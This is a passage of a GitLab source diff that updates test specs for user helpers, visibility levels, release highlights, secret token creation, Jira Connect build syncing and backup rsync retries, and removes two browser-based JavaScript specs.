+ end
+
+ context 'when the current user is self' do
+ before do
+ stub_current_user(user)
+ stub_profile_permission_allowed(true, user)
+ end
+
+ it { is_expected.to eq(user.name) }
+ end
+ end
+
+ context 'for a blocked user' do
+ let(:user) { create(:user, :blocked) }
+
+ it { is_expected.to eq('Blocked user') }
+ end
+
+ def stub_current_user(user)
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ def stub_profile_permission_allowed(allowed, current_user = nil)
+ allow(helper).to receive(:can?).with(current_user, :read_user_profile, user).and_return(allowed)
+ end
+ end
+
+ describe '#admin_users_data_attributes' do
+ subject(:data) { helper.admin_users_data_attributes([user]) }
+
+ it 'users matches the serialized json' do
+ entity = double
+ expect_next_instance_of(Admin::UserSerializer) do |instance|
+ expect(instance).to receive(:represent).with([user]).and_return(entity)
+ end
+ expect(entity).to receive(:to_json).and_return("{\"username\":\"admin\"}")
+ expect(data[:users]).to eq "{\"username\":\"admin\"}"
+ end
+
+ it 'paths matches the schema' do
+ expect(data[:paths]).to match_schema('entities/admin_users_data_attributes_paths')
+ end
+ end
end
diff --git a/spec/helpers/visibility_level_helper_spec.rb b/spec/helpers/visibility_level_helper_spec.rb
index cd1fc70bbc1..86b0693af92 100644
--- a/spec/helpers/visibility_level_helper_spec.rb
+++ b/spec/helpers/visibility_level_helper_spec.rb
@@ -284,4 +284,34 @@ RSpec.describe VisibilityLevelHelper do
it { is_expected.to eq(expected) }
end
end
+
+ describe '#visibility_level_options' do
+ let(:user) { build(:user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ it 'returns the desired mapping' do
+ expected_options = [
+ {
+ level: 0,
+ label: 'Private',
+ description: 'The group and its projects can only be viewed by members.'
+ },
+ {
+ level: 10,
+ label: 'Internal',
+ description: 'The group and any internal projects can be viewed by any logged in user except external users.'
+ },
+ {
+ level: 20,
+ label: 'Public',
+ description: 'The group and any public projects can be viewed without any authentication.'
+ }
+ ]
+
+ expect(helper.visibility_level_options(group)).to eq expected_options
+ end
+ end
end
diff --git a/spec/helpers/whats_new_helper_spec.rb b/spec/helpers/whats_new_helper_spec.rb
index 1c8684de75c..017826921ff 100644
--- a/spec/helpers/whats_new_helper_spec.rb
+++ b/spec/helpers/whats_new_helper_spec.rb
@@ -3,22 +3,22 @@
require 'spec_helper'
RSpec.describe WhatsNewHelper do
- let(:fixture_dir_glob) { Dir.glob(File.join('spec', 'fixtures', 'whats_new', '*.yml')) }
-
describe '#whats_new_storage_key' do
subject { helper.whats_new_storage_key }
context 'when version exist' do
+ let(:release_item) { double(:item) }
+
before do
- allow(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
+ allow(ReleaseHighlight).to receive(:versions).and_return([84.0])
end
- it { is_expected.to eq('display-whats-new-notification-01.05') }
+ it { is_expected.to eq('display-whats-new-notification-84.0') }
end
- context 'when recent release items do NOT exist' do
+ context 'when most recent release highlights do NOT exist' do
before do
- allow(helper).to receive(:whats_new_release_items).and_return(nil)
+ allow(ReleaseHighlight).to receive(:versions).and_return(nil)
end
it { is_expected.to be_nil }
@@ -30,31 +30,28 @@ RSpec.describe WhatsNewHelper do
context 'when recent release items exist' do
it 'returns the count from the most recent file' do
- expect(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
+ allow(ReleaseHighlight).to receive(:most_recent_item_count).and_return(1)
expect(subject).to eq(1)
end
end
context 'when recent release items do NOT exist' do
- before do
- allow(YAML).to receive(:safe_load).and_raise
+ it 'returns nil' do
+ allow(ReleaseHighlight).to receive(:most_recent_item_count).and_return(nil)
- expect(Gitlab::ErrorTracking).to receive(:track_exception)
- end
-
- it 'fails gracefully and logs an error' do
expect(subject).to be_nil
end
end
end
- # Testing this important private method here because the request spec required multiple confusing mocks and felt wrong and overcomplicated
- describe '#whats_new_items_cache_key' do
- it 'returns a key containing the most recent file name and page parameter' do
- allow(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
+ describe '#whats_new_versions' do
+ let(:versions) { [84.0] }
+
+ it 'returns ReleaseHighlight.versions' do
+ expect(ReleaseHighlight).to receive(:versions).and_return(versions)
- expect(helper.send(:whats_new_items_cache_key, 2)).to eq('whats_new:release_items:file-20201225_01_05:page-2')
+ expect(helper.whats_new_versions).to eq(versions)
end
end
end
diff --git a/spec/initializers/lograge_spec.rb b/spec/initializers/lograge_spec.rb
index de722764bf4..d5f9ef569c7 100644
--- a/spec/initializers/lograge_spec.rb
+++ b/spec/initializers/lograge_spec.rb
@@ -153,32 +153,22 @@ RSpec.describe 'lograge', type: :request do
end
end
- context 'with transaction' do
- let(:transaction) { Gitlab::Metrics::WebTransaction.new({}) }
-
- before do
- allow(Gitlab::Metrics::Transaction).to receive(:current).and_return(transaction)
- end
-
+ context 'with db payload' do
context 'when RequestStore is enabled', :request_store do
- context 'with db payload' do
- it 'includes db counters', :request_store do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
- subscriber.process_action(event)
+ it 'includes db counters' do
+ ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ subscriber.process_action(event)
- expect(log_data).to include("db_count" => 1, "db_write_count" => 0, "db_cached_count" => 0)
- end
+ expect(log_data).to include("db_count" => a_value >= 1, "db_write_count" => 0, "db_cached_count" => 0)
end
end
context 'when RequestStore is disabled' do
- context 'with db payload' do
- it 'does not include db counters' do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
- subscriber.process_action(event)
+ it 'does not include db counters' do
+ ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
+ subscriber.process_action(event)
- expect(log_data).not_to include("db_count" => 1, "db_write_count" => 0, "db_cached_count" => 0)
- end
+ expect(log_data).not_to include("db_count", "db_write_count", "db_cached_count")
end
end
end
diff --git a/spec/initializers/secret_token_spec.rb b/spec/initializers/secret_token_spec.rb
index 362371e0962..ab16dbad3fc 100644
--- a/spec/initializers/secret_token_spec.rb
+++ b/spec/initializers/secret_token_spec.rb
@@ -11,17 +11,20 @@ RSpec.describe 'create_tokens' do
let(:rsa_key) { /\A-----BEGIN RSA PRIVATE KEY-----\n.+\n-----END RSA PRIVATE KEY-----\n\Z/m.freeze }
before do
- allow(File).to receive(:write)
- allow(File).to receive(:delete)
allow(Rails).to receive_message_chain(:application, :secrets).and_return(secrets)
allow(Rails).to receive_message_chain(:root, :join) { |string| string }
+
+ allow(File).to receive(:write).and_call_original
+ allow(File).to receive(:write).with(Rails.root.join('config/secrets.yml'))
+ allow(File).to receive(:delete).and_call_original
+ allow(File).to receive(:delete).with(Rails.root.join('.secret'))
allow(self).to receive(:warn)
allow(self).to receive(:exit)
end
describe 'ensure acknowledged secrets in any installations' do
let(:acknowledged_secrets) do
- %w[secret_key_base otp_key_base db_key_base openid_connect_signing_key]
+ %w[secret_key_base otp_key_base db_key_base openid_connect_signing_key encrypted_settings_key_base rotated_encrypted_settings_key_base]
end
it 'does not allow to add a new secret without a proper handling' do
@@ -87,6 +90,7 @@ RSpec.describe 'create_tokens' do
expect(new_secrets['otp_key_base']).to eq(secrets.otp_key_base)
expect(new_secrets['db_key_base']).to eq(secrets.db_key_base)
expect(new_secrets['openid_connect_signing_key']).to eq(secrets.openid_connect_signing_key)
+ expect(new_secrets['encrypted_settings_key_base']).to eq(secrets.encrypted_settings_key_base)
end
create_tokens
@@ -103,9 +107,10 @@ RSpec.describe 'create_tokens' do
before do
secrets.db_key_base = 'db_key_base'
secrets.openid_connect_signing_key = 'openid_connect_signing_key'
+ secrets.encrypted_settings_key_base = 'encrypted_settings_key_base'
allow(File).to receive(:exist?).with('.secret').and_return(true)
- allow(File).to receive(:read).with('.secret').and_return('file_key')
+ stub_file_read('.secret', content: 'file_key')
end
context 'when secret_key_base exists in the environment and secrets.yml' do
@@ -155,6 +160,7 @@ RSpec.describe 'create_tokens' do
expect(secrets.otp_key_base).to eq('otp_key_base')
expect(secrets.db_key_base).to eq('db_key_base')
expect(secrets.openid_connect_signing_key).to eq('openid_connect_signing_key')
+ expect(secrets.encrypted_settings_key_base).to eq('encrypted_settings_key_base')
end
it 'deletes the .secret file' do
@@ -205,12 +211,34 @@ RSpec.describe 'create_tokens' do
create_tokens
end
end
+
+ context 'when rotated_encrypted_settings_key_base does not exist' do
+ before do
+ secrets.secret_key_base = 'secret_key_base'
+ secrets.otp_key_base = 'otp_key_base'
+ secrets.openid_connect_signing_key = 'openid_connect_signing_key'
+ secrets.encrypted_settings_key_base = 'encrypted_settings_key_base'
+ end
+
+ it 'does not warn about the missing secrets' do
+ expect(self).not_to receive(:warn_missing_secret).with('rotated_encrypted_settings_key_base')
+
+ create_tokens
+ end
+
+ it 'does not update secrets.yml' do
+ expect(File).not_to receive(:write)
+
+ create_tokens
+ end
+ end
end
context 'when db_key_base is blank but exists in secrets.yml' do
before do
secrets.otp_key_base = 'otp_key_base'
secrets.secret_key_base = 'secret_key_base'
+ secrets.encrypted_settings_key_base = 'encrypted_settings_key_base'
yaml_secrets = secrets.to_h.stringify_keys.merge('db_key_base' => '<%= an_erb_expression %>')
allow(File).to receive(:exist?).with('.secret').and_return(false)
diff --git a/spec/javascripts/blob/balsamiq/balsamiq_viewer_browser_spec.js b/spec/javascripts/blob/balsamiq/balsamiq_viewer_browser_spec.js
deleted file mode 100644
index 4e06e5c12fc..00000000000
--- a/spec/javascripts/blob/balsamiq/balsamiq_viewer_browser_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-// this file can't be migrated to jest because it relies on the browser to perform integration tests:
-// see: https://gitlab.com/gitlab-org/gitlab/-/issues/194207#note_301878738
-import { FIXTURES_PATH } from 'spec/test_constants';
-import BalsamiqViewer from '~/blob/balsamiq/balsamiq_viewer';
-
-const bmprPath = `${FIXTURES_PATH}/blob/balsamiq/test.bmpr`;
-
-describe('Balsamiq integration spec', () => {
- let container;
- let endpoint;
- let balsamiqViewer;
-
- preloadFixtures('static/balsamiq_viewer.html');
-
- beforeEach(() => {
- loadFixtures('static/balsamiq_viewer.html');
-
- container = document.getElementById('js-balsamiq-viewer');
- balsamiqViewer = new BalsamiqViewer(container);
- });
-
- describe('successful response', () => {
- beforeEach(done => {
- endpoint = bmprPath;
-
- balsamiqViewer
- .loadFile(endpoint)
- .then(done)
- .catch(done.fail);
- });
-
- it('does not show loading icon', () => {
- expect(document.querySelector('.loading')).toBeNull();
- });
-
- it('renders the balsamiq previews', () => {
- expect(document.querySelectorAll('.previews .preview').length).not.toEqual(0);
- });
- });
-
- describe('error getting file', () => {
- beforeEach(done => {
- endpoint = 'invalid/path/to/file.bmpr';
-
- balsamiqViewer
- .loadFile(endpoint)
- .then(done.fail, null)
- .catch(done);
- });
-
- it('does not show loading icon', () => {
- expect(document.querySelector('.loading')).toBeNull();
- });
-
- it('does not render the balsamiq previews', () => {
- expect(document.querySelectorAll('.previews .preview').length).toEqual(0);
- });
- });
-});
diff --git a/spec/javascripts/vue_shared/components/tooltip_on_truncate_browser_spec.js b/spec/javascripts/vue_shared/components/tooltip_on_truncate_browser_spec.js
deleted file mode 100644
index da964a2d5b9..00000000000
--- a/spec/javascripts/vue_shared/components/tooltip_on_truncate_browser_spec.js
+++ /dev/null
@@ -1,240 +0,0 @@
-// this file can't be migrated to jest because it relies on the browser to perform integration tests:
-// (specifically testing around css properties `overflow` and `white-space`)
-// see: https://gitlab.com/groups/gitlab-org/-/epics/895#what-if-theres-a-karma-spec-which-is-simply-unmovable-to-jest-ie-it-is-dependent-on-a-running-browser-environment
-
-import { mount, shallowMount } from '@vue/test-utils';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
-
-const TEXT_SHORT = 'lorem';
-const TEXT_LONG = 'lorem-ipsum-dolar-sit-amit-consectur-adipiscing-elit-sed-do';
-
-const TEXT_TRUNCATE = 'white-space: nowrap; overflow:hidden;';
-const STYLE_NORMAL = `${TEXT_TRUNCATE} display: inline-block; max-width: 1000px;`; // does not overflows
-const STYLE_OVERFLOWED = `${TEXT_TRUNCATE} display: inline-block; max-width: 50px;`; // overflowed when text is long
-
-const createElementWithStyle = (style, content) => `<a href="#" style="${style}">${content}</a>`;
-
-describe('TooltipOnTruncate component', () => {
- let wrapper;
- let parent;
-
- const createComponent = ({ propsData, ...options } = {}) => {
- wrapper = shallowMount(TooltipOnTruncate, {
- attachToDocument: true,
- propsData: {
- ...propsData,
- },
- attrs: {
- style: STYLE_OVERFLOWED,
- },
- ...options,
- });
- };
-
- const createWrappedComponent = ({ propsData, ...options }) => {
- // set a parent around the tested component
- parent = mount(
- {
- props: {
- title: { default: '' },
- },
- template: `
- <TooltipOnTruncate :title="title" truncate-target="child" style="${STYLE_OVERFLOWED}">
- <div>{{title}}</div>
- </TooltipOnTruncate>
- `,
- components: {
- TooltipOnTruncate,
- },
- },
- {
- propsData: { ...propsData },
- attachToDocument: true,
- ...options,
- },
- );
-
- wrapper = parent.find(TooltipOnTruncate);
- };
-
- const hasTooltip = () => wrapper.classes('js-show-tooltip');
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('with default target', () => {
- it('renders tooltip if truncated', () => {
- createComponent({
- propsData: {
- title: TEXT_LONG,
- },
- slots: {
- default: [TEXT_LONG],
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(TEXT_LONG);
- expect(wrapper.attributes('data-placement')).toEqual('top');
- });
- });
-
- it('does not render tooltip if normal', () => {
- createComponent({
- propsData: {
- title: TEXT_SHORT,
- },
- slots: {
- default: [TEXT_SHORT],
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(false);
- });
- });
- });
-
- describe('with child target', () => {
- it('renders tooltip if truncated', () => {
- createComponent({
- attrs: {
- style: STYLE_NORMAL,
- },
- propsData: {
- title: TEXT_LONG,
- truncateTarget: 'child',
- },
- slots: {
- default: createElementWithStyle(STYLE_OVERFLOWED, TEXT_LONG),
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(true);
- });
- });
-
- it('does not render tooltip if normal', () => {
- createComponent({
- propsData: {
- truncateTarget: 'child',
- },
- slots: {
- default: createElementWithStyle(STYLE_NORMAL, TEXT_LONG),
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(false);
- });
- });
- });
-
- describe('with fn target', () => {
- it('renders tooltip if truncated', () => {
- createComponent({
- attrs: {
- style: STYLE_NORMAL,
- },
- propsData: {
- title: TEXT_LONG,
- truncateTarget: el => el.childNodes[1],
- },
- slots: {
- default: [
- createElementWithStyle('', TEXT_LONG),
- createElementWithStyle(STYLE_OVERFLOWED, TEXT_LONG),
- ],
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(true);
- });
- });
- });
-
- describe('placement', () => {
- it('sets data-placement when tooltip is rendered', () => {
- const placement = 'bottom';
-
- createComponent({
- propsData: {
- placement,
- },
- attrs: {
- style: STYLE_OVERFLOWED,
- },
- slots: {
- default: TEXT_LONG,
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-placement')).toEqual(placement);
- });
- });
- });
-
- describe('updates when title and slot content changes', () => {
- describe('is initialized with a long text', () => {
- beforeEach(() => {
- createWrappedComponent({
- propsData: { title: TEXT_LONG },
- });
- return parent.vm.$nextTick();
- });
-
- it('renders tooltip', () => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(TEXT_LONG);
- expect(wrapper.attributes('data-placement')).toEqual('top');
- });
-
- it('does not render tooltip after updated to a short text', () => {
- parent.setProps({
- title: TEXT_SHORT,
- });
-
- return wrapper.vm
- .$nextTick()
- .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
- .then(() => {
- expect(hasTooltip()).toBe(false);
- });
- });
- });
-
- describe('is initialized with a short text', () => {
- beforeEach(() => {
- createWrappedComponent({
- propsData: { title: TEXT_SHORT },
- });
- return wrapper.vm.$nextTick();
- });
-
- it('does not render tooltip', () => {
- expect(hasTooltip()).toBe(false);
- });
-
- it('renders tooltip after updated to a long text', () => {
- parent.setProps({
- title: TEXT_LONG,
- });
-
- return wrapper.vm
- .$nextTick()
- .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
- .then(() => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(TEXT_LONG);
- expect(wrapper.attributes('data-placement')).toEqual('top');
- });
- });
- });
- });
-});
diff --git a/spec/lib/api/entities/merge_request_basic_spec.rb b/spec/lib/api/entities/merge_request_basic_spec.rb
index 715fcf4bcdb..fe4c27b70ae 100644
--- a/spec/lib/api/entities/merge_request_basic_spec.rb
+++ b/spec/lib/api/entities/merge_request_basic_spec.rb
@@ -40,4 +40,31 @@ RSpec.describe ::API::Entities::MergeRequestBasic do
expect(batch.count).to be_within(3 * query.count).of(control.count)
end
end
+
+ context 'reviewers' do
+ context "when merge_request_reviewers FF is enabled" do
+ before do
+ stub_feature_flags(merge_request_reviewers: true)
+ merge_request.reviewers = [user]
+ end
+
+ it 'includes assigned reviewers' do
+ result = Gitlab::Json.parse(present(merge_request).to_json)
+
+ expect(result['reviewers'][0]['username']).to eq user.username
+ end
+ end
+
+ context "when merge_request_reviewers FF is disabled" do
+ before do
+ stub_feature_flags(merge_request_reviewers: false)
+ end
+
+ it 'does not include reviewers' do
+ result = Gitlab::Json.parse(present(merge_request).to_json)
+
+ expect(result.keys).not_to include('reviewers')
+ end
+ end
+ end
end
diff --git a/spec/lib/api/helpers/sse_helpers_spec.rb b/spec/lib/api/helpers/sse_helpers_spec.rb
new file mode 100644
index 00000000000..397051d9142
--- /dev/null
+++ b/spec/lib/api/helpers/sse_helpers_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Helpers::SSEHelpers do
+ include Gitlab::Routing
+
+ let_it_be(:project) { create(:project) }
+
+ subject { Class.new.include(described_class).new }
+
+ describe '#request_from_sse?' do
+ before do
+ allow(subject).to receive(:request).and_return(request)
+ end
+
+ context 'when referer is nil' do
+ let(:request) { double(referer: nil)}
+
+ it 'returns false' do
+ expect(URI).not_to receive(:parse)
+ expect(subject.request_from_sse?(project)).to eq false
+ end
+ end
+
+ context 'when referer is not from SSE' do
+ let(:request) { double(referer: 'https://gitlab.com')}
+
+ it 'returns false' do
+ expect(URI).to receive(:parse).and_call_original
+ expect(subject.request_from_sse?(project)).to eq false
+ end
+ end
+
+ context 'when referer is from SSE' do
+ let(:request) { double(referer: project_show_sse_path(project, 'master/README.md'))}
+
+ it 'returns true' do
+ expect(URI).to receive(:parse).and_call_original
+ expect(subject.request_from_sse?(project)).to eq true
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/validations/validators/integer_or_custom_value_spec.rb b/spec/lib/api/validations/validators/integer_or_custom_value_spec.rb
new file mode 100644
index 00000000000..a04917736db
--- /dev/null
+++ b/spec/lib/api/validations/validators/integer_or_custom_value_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Validations::Validators::IntegerOrCustomValue do
+ include ApiValidatorsHelpers
+
+ let(:custom_values) { %w[None Any Started Current] }
+
+ subject { described_class.new(['test'], { values: custom_values }, false, scope.new) }
+
+ context 'valid parameters' do
+ it 'does not raise a validation error' do
+ expect_no_validation_error('test' => 2)
+ expect_no_validation_error('test' => 100)
+ expect_no_validation_error('test' => 'None')
+ expect_no_validation_error('test' => 'Any')
+ expect_no_validation_error('test' => 'none')
+ expect_no_validation_error('test' => 'any')
+ expect_no_validation_error('test' => 'started')
+ expect_no_validation_error('test' => 'CURRENT')
+ end
+
+ context 'when custom values is empty and value is an integer' do
+ let(:custom_values) { [] }
+
+ it 'does not raise a validation error' do
+ expect_no_validation_error({ 'test' => 5 })
+ end
+ end
+ end
+
+ context 'invalid parameters' do
+ it 'raises a validation error' do
+ expect_validation_error({ 'test' => 'Upcomming' })
+ end
+
+ context 'when custom values is empty and value is not an integer' do
+ let(:custom_values) { [] }
+
+ it 'raises a validation error' do
+ expect_validation_error({ 'test' => '5' })
+ end
+ end
+ end
+end
diff --git a/spec/lib/atlassian/jira_connect/client_spec.rb b/spec/lib/atlassian/jira_connect/client_spec.rb
index cefd1fa3274..6a161854dfb 100644
--- a/spec/lib/atlassian/jira_connect/client_spec.rb
+++ b/spec/lib/atlassian/jira_connect/client_spec.rb
@@ -7,8 +7,10 @@ RSpec.describe Atlassian::JiraConnect::Client do
subject { described_class.new('https://gitlab-test.atlassian.net', 'sample_secret') }
+ let_it_be(:project) { create_default(:project, :repository) }
+
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
describe '.generate_update_sequence_id' do
@@ -19,41 +21,158 @@ RSpec.describe Atlassian::JiraConnect::Client do
end
end
- describe '#store_dev_info' do
- let_it_be(:project) { create_default(:project, :repository) }
- let_it_be(:merge_requests) { create_list(:merge_request, 2, :unique_branches) }
+ describe '#send_info' do
+ it 'calls store_build_info and store_dev_info as appropriate' do
+ expect(subject).to receive(:store_build_info).with(
+ project: project,
+ update_sequence_id: :x,
+ pipelines: :y
+ ).and_return(:build_stored)
+
+ expect(subject).to receive(:store_dev_info).with(
+ project: project,
+ update_sequence_id: :x,
+ commits: :a,
+ branches: :b,
+ merge_requests: :c
+ ).and_return(:dev_stored)
+
+ args = {
+ project: project,
+ update_sequence_id: :x,
+ commits: :a,
+ branches: :b,
+ merge_requests: :c,
+ pipelines: :y
+ }
+
+ expect(subject.send_info(**args)).to contain_exactly(:dev_stored, :build_stored)
+ end
- let(:expected_jwt) do
- Atlassian::Jwt.encode(
- Atlassian::Jwt.build_claims(
- Atlassian::JiraConnect.app_key,
- '/rest/devinfo/0.10/bulk',
- 'POST'
- ),
- 'sample_secret'
- )
+ it 'only calls methods that we need to call' do
+ expect(subject).to receive(:store_dev_info).with(
+ project: project,
+ update_sequence_id: :x,
+ commits: :a
+ ).and_return(:dev_stored)
+
+ args = {
+ project: project,
+ update_sequence_id: :x,
+ commits: :a
+ }
+
+ expect(subject.send_info(**args)).to contain_exactly(:dev_stored)
+ end
+
+ it 'raises an argument error if there is nothing to send (probably a typo?)' do
+ expect { subject.send_info(project: project, builds: :x) }
+ .to raise_error(ArgumentError)
+ end
+ end
+
+ def expected_headers(path)
+ expected_jwt = Atlassian::Jwt.encode(
+ Atlassian::Jwt.build_claims(Atlassian::JiraConnect.app_key, path, 'POST'),
+ 'sample_secret'
+ )
+
+ {
+ 'Authorization' => "JWT #{expected_jwt}",
+ 'Content-Type' => 'application/json'
+ }
+ end
+
+ describe '#store_build_info' do
+ let_it_be(:mrs_by_title) { create_list(:merge_request, 4, :unique_branches, :jira_title) }
+ let_it_be(:mrs_by_branch) { create_list(:merge_request, 2, :jira_branch) }
+ let_it_be(:red_herrings) { create_list(:merge_request, 1, :unique_branches) }
+
+ let_it_be(:pipelines) do
+ (red_herrings + mrs_by_branch + mrs_by_title).map do |mr|
+ create(:ci_pipeline, merge_request: mr)
+ end
+ end
+
+ let(:build_info_payload_schema) do
+ Atlassian::Schemata.build_info_payload
+ end
+
+ let(:body) do
+ matcher = be_valid_json.according_to_schema(build_info_payload_schema)
+
+ ->(text) { matcher.matches?(text) }
end
before do
- stub_full_request('https://gitlab-test.atlassian.net/rest/devinfo/0.10/bulk', method: :post)
- .with(
- headers: {
- 'Authorization' => "JWT #{expected_jwt}",
- 'Content-Type' => 'application/json'
- }
- )
+ path = '/rest/builds/0.1/bulk'
+ stub_full_request('https://gitlab-test.atlassian.net' + path, method: :post)
+ .with(body: body, headers: expected_headers(path))
+ end
+
+ it "calls the API with auth headers" do
+ subject.send(:store_build_info, project: project, pipelines: pipelines)
+ end
+
+ it 'only sends information about relevant MRs' do
+ expect(subject).to receive(:post).with('/rest/builds/0.1/bulk', { builds: have_attributes(size: 6) })
+
+ subject.send(:store_build_info, project: project, pipelines: pipelines)
+ end
+
+ it 'does not call the API if there is nothing to report' do
+ expect(subject).not_to receive(:post)
+
+ subject.send(:store_build_info, project: project, pipelines: pipelines.take(1))
+ end
+
+ it 'does not call the API if the feature flag is not enabled' do
+ stub_feature_flags(jira_sync_builds: false)
+
+ expect(subject).not_to receive(:post)
+
+ subject.send(:store_build_info, project: project, pipelines: pipelines)
+ end
+
+ it 'does call the API if the feature flag enabled for the project' do
+ stub_feature_flags(jira_sync_builds: project)
+
+ expect(subject).to receive(:post).with('/rest/builds/0.1/bulk', { builds: Array })
+
+ subject.send(:store_build_info, project: project, pipelines: pipelines)
+ end
+
+ it 'avoids N+1 database queries' do
+ baseline = ActiveRecord::QueryRecorder.new do
+ subject.send(:store_build_info, project: project, pipelines: pipelines)
+ end
+
+ pipelines << create(:ci_pipeline, head_pipeline_of: create(:merge_request, :jira_branch))
+
+ expect { subject.send(:store_build_info, project: project, pipelines: pipelines) }.not_to exceed_query_limit(baseline)
+ end
+ end
+
+ describe '#store_dev_info' do
+ let_it_be(:merge_requests) { create_list(:merge_request, 2, :unique_branches) }
+
+ before do
+ path = '/rest/devinfo/0.10/bulk'
+
+ stub_full_request('https://gitlab-test.atlassian.net' + path, method: :post)
+ .with(headers: expected_headers(path))
end
it "calls the API with auth headers" do
- subject.store_dev_info(project: project)
+ subject.send(:store_dev_info, project: project)
end
it 'avoids N+1 database queries' do
- control_count = ActiveRecord::QueryRecorder.new { subject.store_dev_info(project: project, merge_requests: merge_requests) }.count
+ control_count = ActiveRecord::QueryRecorder.new { subject.send(:store_dev_info, project: project, merge_requests: merge_requests) }.count
merge_requests << create(:merge_request, :unique_branches)
- expect { subject.store_dev_info(project: project, merge_requests: merge_requests) }.not_to exceed_query_limit(control_count)
+ expect { subject.send(:store_dev_info, project: project, merge_requests: merge_requests) }.not_to exceed_query_limit(control_count)
end
end
end
diff --git a/spec/lib/atlassian/jira_connect/serializers/build_entity_spec.rb b/spec/lib/atlassian/jira_connect/serializers/build_entity_spec.rb
new file mode 100644
index 00000000000..52e475d20ca
--- /dev/null
+++ b/spec/lib/atlassian/jira_connect/serializers/build_entity_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Atlassian::JiraConnect::Serializers::BuildEntity do
+ let_it_be(:user) { create_default(:user) }
+ let_it_be(:project) { create_default(:project) }
+
+ subject { described_class.represent(pipeline) }
+
+ context 'when the pipeline does not belong to any Jira issue' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ describe '#issue_keys' do
+ it 'is empty' do
+ expect(subject.issue_keys).to be_empty
+ end
+ end
+
+ describe '#to_json' do
+ it 'can encode the object' do
+ expect(subject.to_json).to be_valid_json
+ end
+
+ it 'is invalid, since it has no issue keys' do
+ expect(subject.to_json).not_to be_valid_json.according_to_schema(Atlassian::Schemata.build_info)
+ end
+ end
+ end
+
+ context 'when the pipeline does belong to a Jira issue' do
+ let(:pipeline) { create(:ci_pipeline, merge_request: merge_request) }
+
+ %i[jira_branch jira_title].each do |trait|
+ context "because it belongs to an MR with a #{trait}" do
+ let(:merge_request) { create(:merge_request, trait) }
+
+ describe '#issue_keys' do
+ it 'is not empty' do
+ expect(subject.issue_keys).not_to be_empty
+ end
+ end
+
+ describe '#to_json' do
+ it 'is valid according to the build info schema' do
+ expect(subject.to_json).to be_valid_json.according_to_schema(Atlassian::Schemata.build_info)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/backup/files_spec.rb b/spec/lib/backup/files_spec.rb
index dbc04704fba..450e396a389 100644
--- a/spec/lib/backup/files_spec.rb
+++ b/spec/lib/backup/files_spec.rb
@@ -149,13 +149,27 @@ RSpec.describe Backup::Files do
end
it 'excludes tmp dirs from rsync' do
- expect(Gitlab::Popen).to receive(:popen).with(%w(rsync -a --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup)).and_return(['', 0])
+ expect(Gitlab::Popen).to receive(:popen)
+ .with(%w(rsync -a --delete --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup))
+ .and_return(['', 0])
subject.dump
end
+ it 'retries if rsync fails due to vanishing files' do
+ expect(Gitlab::Popen).to receive(:popen)
+ .with(%w(rsync -a --delete --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup))
+ .and_return(['rsync failed', 24], ['', 0])
+
+ expect do
+ subject.dump
+ end.to output(/files vanished during rsync, retrying/).to_stdout
+ end
+
it 'raises an error and outputs an error message if rsync failed' do
- allow(Gitlab::Popen).to receive(:popen).with(%w(rsync -a --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup)).and_return(['rsync failed', 1])
+ allow(Gitlab::Popen).to receive(:popen)
+ .with(%w(rsync -a --delete --exclude=lost+found --exclude=/@pages.tmp /var/gitlab-pages /var/gitlab-backup))
+ .and_return(['rsync failed', 1])
expect do
subject.dump
diff --git a/spec/lib/backup/repositories_spec.rb b/spec/lib/backup/repositories_spec.rb
index 9c139e9f954..492058c6a00 100644
--- a/spec/lib/backup/repositories_spec.rb
+++ b/spec/lib/backup/repositories_spec.rb
@@ -242,7 +242,9 @@ RSpec.describe Backup::Repositories do
# 4 times = project repo + wiki repo + project_snippet repo + personal_snippet repo
expect(Repository).to receive(:new).exactly(4).times.and_wrap_original do |method, *original_args|
- repository = method.call(*original_args)
+ full_path, container, kwargs = original_args
+
+ repository = method.call(full_path, container, **kwargs)
expect(repository).to receive(:remove)
